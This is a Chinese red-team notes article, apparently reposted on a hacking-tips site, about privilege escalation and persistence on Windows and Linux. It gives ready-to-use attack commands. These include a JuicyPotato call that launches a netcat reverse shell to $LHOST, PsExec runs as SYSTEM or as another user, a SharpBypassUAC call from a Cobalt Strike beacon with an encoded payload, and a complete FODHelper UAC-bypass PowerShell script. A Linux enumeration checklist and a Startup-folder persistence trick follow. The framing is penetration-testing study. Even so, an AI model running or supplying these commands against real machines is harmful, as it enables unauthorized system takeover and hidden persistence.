记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

红队笔记 - 提权&权限维持

2021-10-01 12:15
文章来源: Khan安全攻防实验室

提权

Windows

通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:\Users目录)以获取快速获胜或有趣的文件(尤其是用户主文件夹和/或 Web 目录)。如果没有找到任何东西,就会运行一个类似winPEAS.exe来识别任何漏洞。在枚举结果中查找的内容:

  • 默认凭据,尝试将它们转给其他用户。
  • 开放端口,有没有只监听 127.0.0.1 的服务?寻找漏洞。
  • 运行软件中寻找漏洞。
  • 未加引号的服务路径,你能写一个恶意的二进制文件并重新启动受影响的服务吗?
  • 可修改的服务二进制文件,他们SYSTEM是以管理员用户身份运行还是以管理员用户身份运行?


如果没有明显的结果WinPEAS,通常Invoke-AllChecks从PowerUp运行,它会执行类似的检查,但有时也会捕获其他漏洞。

如果所有其他方法都失败了,我会开始寻找操作系统级别的漏洞利用,尤其是在较旧的系统上。Windows-Exploit-Suggester对此有所帮助:您可以从 Kali 运行它,并且只需要SystemInfo. 有时在谷歌上搜索确切操作系统版本的权限提升漏洞也有帮助。

烂土豆

如果您拥有SeImpersonatePrivilege并且操作系统版本早于Server 2019 或 Windows 10,则相关。通过使用中性二进制文件(例如nc.exe或nc64.exe来自此处),我取得了最大的成功。如果您bat使用命令调用创建文件,它应该会避开大多数 AV 并为您提供特权 shell。

# On target system, after copying required binaries
echo C:\tempc64.exe -e cmd.exe $LHOST 443 > rev.bat
.\JuicyPotato.exe -l 1337 -p C:\temp\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

UAC绕过

如果您是本地管理员,则相关,但whoami /all返回您正在“中等完整性进程”中运行。漏洞利用方法因操作系统版本而异。谷歌搜索特定版本的自动 UAC 绕过漏洞,或使用Windows-Exploit-Suggester或 metasploit 来识别可能的 UAC 绕过漏洞可能会成功。

本地管理员到系统

可以通过PsExec.exe来实现这一点,可以使用 Msfvenom 可执行文件代替rev.bat。

.\PsExec.exe -i -s "c:\temp\rev.bat"

如果你在 Windows 系统上有一个 shell 并且有另一个用户的密码,PsExec 也可以用来作为目标用户执行程序。

.\PsExec.exe -user $USERNAME -p $PASSWORD "c:\temp\rev.bat"

使用SharpBypassUAC

# Generate EncodedCommandecho -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64
# Use SharpBypassUAC e.g. from a CobaltStrike beaconbeacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

在某些情况下,运行手动 UAC 绕过可能会更好,例如在 PowerShell 中执行非常简单的 FODHelper 绕过。

# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Linux

对于 Linux PrivEsc,通常运行sudo -l. 如果这导致我们可以运行某些命令(无需密码或已知密码)之后,开始查看文件系统(再次 - 主目录和有趣的目录,如/var/www/html)以查找多汁文件或包含凭据或线索的文件。通常,这可能会导致例如我们可以用来在本地转储数据库的 MySQL 凭据。最后,我查看了我们所在的非默认组id。

在那之后,通常是通过自动化PrivEsc枚举linPEAS或在某些情况下LINENUM。但是,强烈建议大家熟悉这些脚本执行的命令及其含义。这是帮助获取态势感知和手动识别漏洞的命令的极好参考。另外,我喜欢这里提出的高级问题- 我是谁?我可以读、写或执行什么?为了在 Linux 中有效提权,您必须回答的一些问题与 Windows 类似,有些则完全不同。一般来说,以下是一些经常相关的问题。

  • 是否有任何正在运行的服务或程序看起来是非默认的?他们脆弱吗?
  • 特别注意以 root 用户 ( ps auxww | grep root)运行的服务- 在许多情况下,这些可能是您的 root 路径。例如,MySQL 是否以 root 身份运行?运行raptor_udf2。
  • 哪些服务只在本地监听?
  • 文件或文件夹的权限是否配置错误?
  • 是否有任何定时任务或计划任务?谁来执行?
  • 注意:如果您无法读取 cron 文件,请尝试pSpy - 它可能有助于识别重复的执行命令。
  • 我们可以sudo在默认二进制文件上运行吗?检查它们的GTFOBins。
  • 是否有任何二进制文件由 root 拥有并设置了 SUID 或 GUID?检查它们的 GTFOBins。
  • 是否有任何文件具有不受限制的 POSIX 功能(仅+ep),或我们可以用于 privesc 的其他有趣功能(例如cap_setuid或cap_dac_override)?
  • 如果您发现任何以 root 身份循环运行的二进制文件,或者我们可以使用sudo提升的上下文或在提升的上下文中触发的二进制文件:我们可以写入该文件吗?我们可以劫持路径吗?

同样,内核漏洞利用应该是 PWK 权限提升的最后手段。识别内核版本uname并将其扔到 searchsploit 中应该在这方面有所帮助。

权限维持

启动文件夹

只要放下一个二进制文件在当前用户文件夹中,将在当前用户登录时触发。

c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

或者在全局启动文件夹中,需要管理权限,但在启动时将作为SYSTEM触发,并且只要有用户登录就会在用户环境中触发。

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

知识来源: https://www.wangan.com/p/7fygfy90c71fc5fc

阅读:25164 | 评论:0 | 标签:提权 红队

想收藏或者和大家分享这篇好文章→复制链接地址

“红队笔记 - 提权&权限维持”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持·广告位💖

标签云